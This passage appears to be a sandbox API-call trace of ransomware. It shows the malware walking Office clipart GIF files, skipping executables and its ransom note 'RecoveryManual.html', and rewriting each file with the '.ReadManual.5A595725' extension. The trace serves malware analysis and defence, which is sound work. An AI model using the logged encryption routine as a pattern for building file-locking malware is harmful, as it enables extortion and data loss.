Office\\CLIPART\\PUB60COR\\J0099192.GIF.ReadManual.5A595725") returned 87 [0265.707] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38637587102) returned 1 [0265.707] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 0x20 [0265.707] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.708] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17964) returned 1 [0265.708] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x462c, lpName=0x0) returned 0x184 [0265.708] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.708] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.708] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.710] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.710] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x462c) returned 0x2f0000 [0265.711] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.711] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38637944402) returned 1 [0265.711] CloseHandle (hObject=0x184) returned 1 [0265.711] SetSecurityInfo () returned 0x57 [0265.711] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.711] CloseHandle (hObject=0x194) returned 1 [0265.711] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0265.711] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099193.GIF" | out: lpString1="J0099193.GIF") returned="J0099193.GIF" [0265.711] lstrcmpiW (lpString1="J0099193.GIF", lpString2="RecoveryManual.html") returned -1 [0265.711] StrStrIW (lpFirst="J0099193.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.711] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.711] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.711] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.711] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.711] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.711] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.711] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.711] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.711] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.711] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.711] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.711] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.711] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.711] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.711] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" [0265.711] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.ReadManual.5A595725" [0265.712] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.ReadManual.5A595725") returned 87 [0265.712] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38638031608) returned 1 [0265.712] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 0x20 [0265.712] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.712] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=35546) returned 1 [0265.712] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8ada, lpName=0x0) returned 0x184 [0265.712] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.713] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.713] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.715] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.715] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8ada) returned 0x2f0000 [0265.716] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.716] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38638485399) returned 1 [0265.716] CloseHandle (hObject=0x184) returned 1 [0265.716] SetSecurityInfo () returned 0x57 [0265.716] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.716] CloseHandle (hObject=0x194) returned 1 [0265.716] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0265.716] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099194.GIF" | out: lpString1="J0099194.GIF") returned="J0099194.GIF" [0265.716] lstrcmpiW (lpString1="J0099194.GIF", lpString2="RecoveryManual.html") returned -1 [0265.716] StrStrIW (lpFirst="J0099194.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.716] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.716] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.716] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.717] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.717] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.717] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.717] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.717] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.717] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.717] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.717] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.717] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.717] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.717] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.717] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" [0265.717] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.ReadManual.5A595725" [0265.717] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.ReadManual.5A595725") returned 87 [0265.717] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38638573053) returned 1 [0265.717] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 0x20 [0265.717] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.717] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=25265) returned 1 [0265.718] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62b1, lpName=0x0) returned 0x184 [0265.718] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.718] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.718] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.721] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.721] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x62b1) returned 0x2f0000 [0265.721] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.721] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38638994013) returned 1 [0265.721] CloseHandle (hObject=0x184) returned 1 [0265.721] SetSecurityInfo () returned 0x57 [0265.721] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.721] CloseHandle (hObject=0x194) returned 1 [0265.721] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0265.721] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099195.GIF" | out: lpString1="J0099195.GIF") returned="J0099195.GIF" [0265.721] lstrcmpiW (lpString1="J0099195.GIF", lpString2="RecoveryManual.html") returned -1 [0265.722] StrStrIW (lpFirst="J0099195.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.722] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.722] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.722] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.722] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.722] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.722] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.722] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.722] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.722] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.722] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.722] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.722] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.722] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.722] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.722] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" [0265.722] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.ReadManual.5A595725" [0265.722] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.ReadManual.5A595725") returned 87 [0265.722] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38639083683) returned 1 [0265.722] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 0x20 [0265.722] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.723] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19923) returned 1 [0265.723] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4dd3, lpName=0x0) returned 0x184 [0265.723] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.723] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.723] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.725] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.725] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4dd3) returned 0x2f0000 [0265.725] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.725] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38639427170) returned 1 [0265.726] CloseHandle (hObject=0x184) returned 1 [0265.726] SetSecurityInfo () returned 0x57 [0265.726] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.726] CloseHandle (hObject=0x194) returned 1 [0265.726] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0265.726] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099196.GIF" | out: lpString1="J0099196.GIF") returned="J0099196.GIF" [0265.726] lstrcmpiW (lpString1="J0099196.GIF", lpString2="RecoveryManual.html") returned -1 [0265.726] StrStrIW (lpFirst="J0099196.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.726] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.726] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.726] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.726] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.726] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.726] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.726] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.726] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.726] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.726] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.726] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.726] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.726] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.726] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.726] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" [0265.726] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.ReadManual.5A595725" [0265.726] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.ReadManual.5A595725") returned 87 [0265.726] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38639513142) returned 1 [0265.726] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 0x20 [0265.727] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.727] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14337) returned 1 [0265.727] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3801, lpName=0x0) returned 0x184 [0265.728] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.728] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.728] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.730] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.730] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3801) returned 0x2f0000 [0265.730] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.730] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38639920584) returned 1 [0265.730] CloseHandle (hObject=0x184) returned 1 [0265.731] SetSecurityInfo () returned 0x57 [0265.731] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.731] CloseHandle (hObject=0x194) returned 1 [0265.731] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0265.731] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099197.GIF" | out: lpString1="J0099197.GIF") returned="J0099197.GIF" [0265.731] lstrcmpiW (lpString1="J0099197.GIF", lpString2="RecoveryManual.html") returned -1 [0265.731] StrStrIW (lpFirst="J0099197.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.731] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.731] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.731] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.731] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.731] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.731] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.731] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.731] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.731] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.731] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.731] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.731] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.731] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.731] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.731] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" [0265.731] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.ReadManual.5A595725" [0265.731] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.ReadManual.5A595725") returned 87 [0265.731] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38640007344) returned 1 [0265.731] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 0x20 [0265.732] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.732] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10898) returned 1 [0265.732] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a92, lpName=0x0) returned 0x184 [0265.732] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.733] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.733] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.744] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, 